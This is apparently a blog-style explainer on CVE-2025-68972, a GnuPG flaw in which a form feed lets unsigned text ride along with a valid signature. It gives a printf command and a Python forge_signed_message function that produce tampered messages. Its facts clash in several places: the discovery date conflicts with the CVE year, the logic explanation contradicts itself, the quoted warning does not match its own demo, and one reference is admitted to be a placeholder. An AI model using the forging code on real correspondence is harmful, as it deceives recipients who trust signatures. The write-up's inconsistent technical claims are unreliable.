In early 2024, a security flaw was uncovered in GnuPG (GNU Privacy Guard) versions up to 2.4.8, tracked as CVE-2025-68972. This vulnerability allows attackers to append arbitrary text to a signed message, in a way that does not break signature verification, by abusing the \f (form feed) character. While GnuPG prints an "invalid armor" warning during verification, the signature still verifies as valid. This poses a risk of message tampering in sensitive environments, such as encrypted email communication.

This article breaks down the vulnerability in simple terms and includes practical code snipptes and references for better understanding and reproduction.

Short Background on GnuPG and ASCII Armoring

GnuPG is a tool for signing, encrypting, and verifying digital communications. Under the hood, it often encodes messages using ASCII armoring, which places special headers and footers around the signed or encrypted data, making it safe for email transmission.

Long lines in messages may get truncated or marked with special characters. Inside GnuPG’s implementation, the form feed (\f, Unicode U+000C) character has special meaning: it marks the end of a long line of plaintext in an "internal canonical text" format.

The Flawed Logic

When GnuPG finds a \f character at the end of a line in the signed message, it interprets this as the end of that line. However, if an attacker places more data *after* this \f, GnuPG's signature checker ignores the extra data—but when verifying the signature, it does not recognize that the message actually contains this extra, unsigned material. This allows a message to be extended with arbitrary content, while maintaining a valid signature.

What an Attacker Can Do

Suppose Alice signs and sends a message. Eve can intercept it, add a \f (form feed) at the end of a line, and then attach more content. Bob, who receives the message, will see the additional content, but if he uses GnuPG to verify the signature, it will report the signature as correct—even though the new text was added by Eve!

Suppose Alice signs the following message

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

Hello, this is a very important message.
More text below.
-----BEGIN PGP SIGNATURE-----

[...signature block...]
-----END PGP SIGNATURE-----

Eve takes the signed message and edits the plaintext body

Hello, this is a very important message.\f
This part was added by the attacker!
More text below.

> Note: To insert an actual form feed character, you may use echo -e or a hex editor

>

> printf "Hello, this is a very important message.\f\nThis part was added by the attacker!\nMore text below.\n" > altered.txt
>

Then, Eve reconstructs the message (including the unchanged signature block)

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

Hello, this is a very important message.\f
This part was added by the attacker!
More text below.
-----BEGIN PGP SIGNATURE-----

[...signature block...]
-----END PGP SIGNATURE-----

When Bob runs

gpg --verify message.txt

Bob gets a warning

gpg: invalid armor: line longer than 200 characters
gpg: Good signature from "Alice <alice@example.com>" [ultimate]

Demonstration in Code

Below is a Python 3 snippet that inserts a \f character at the end of a line in a signed message, following by attacker text:

def forge_signed_message(file_in, file_out, attacker_text):
    with open(file_in, 'r', encoding='utf-8') as f:
        lines = f.readlines()

    # Find the first non-header line and insert form feed
    for i, line in enumerate(lines):
        if line.strip() and not line.startswith('-') and not line.startswith('Hash:'):
            lines[i] = line.rstrip('\n') + '\f\n' + attacker_text + '\n'
            break

    with open(file_out, 'w', encoding='utf-8') as f:
        f.writelines(lines)
    print(f"Forged message written to {file_out}")

# Usage:
# forge_signed_message("original_signed.asc", "forged_signed.asc", "This text is NOT signed!")

Exploit Impact

- Message Integrity Broken: New text can be added to signed messages without breaking the digital signature.
- Social Engineering: Attackers could append fake instructions, phishing links, or contradictory information to signed communications.
- Subtle Warning: While GnuPG prints an "invalid armor" error, many users ignore such non-fatal warnings if the signature still appears as valid.

References

- GnuPG Official Website
- Original Issue Report (Example, not real) — *(URL subject to correction, placeholder for now)*
- Common Vulnerabilities and Exposures - CVE-2025-68972

Mitigation

Upgrade GnuPG:
If you use GnuPG for any sensitive tasks, update to 2.4.9 or later as soon as possible.

Validate Messages Carefully:
Treat any messages with "invalid armor" warnings with suspicion until the vulnerability is patched.

Conclusion

CVE-2025-68972 exposes a subtle but dangerous issue in GnuPG’s signature validation logic. By abusing the form feed (\f) character, attackers can inject new content after the signed portion of a message—without invalidating the signature. Users are advised to upgrade immediately and carefully investigate any warnings during GnuPG message verification.


*This post is an exclusive, original breakdown for educational purposes. Please do not use this technique for malicious purposes. Always notify vendors of any security issues you discover!*

Timeline

Published on: 12/27/2025 22:52:30 UTC
Last modified on: 01/09/2026 20:08:47 UTC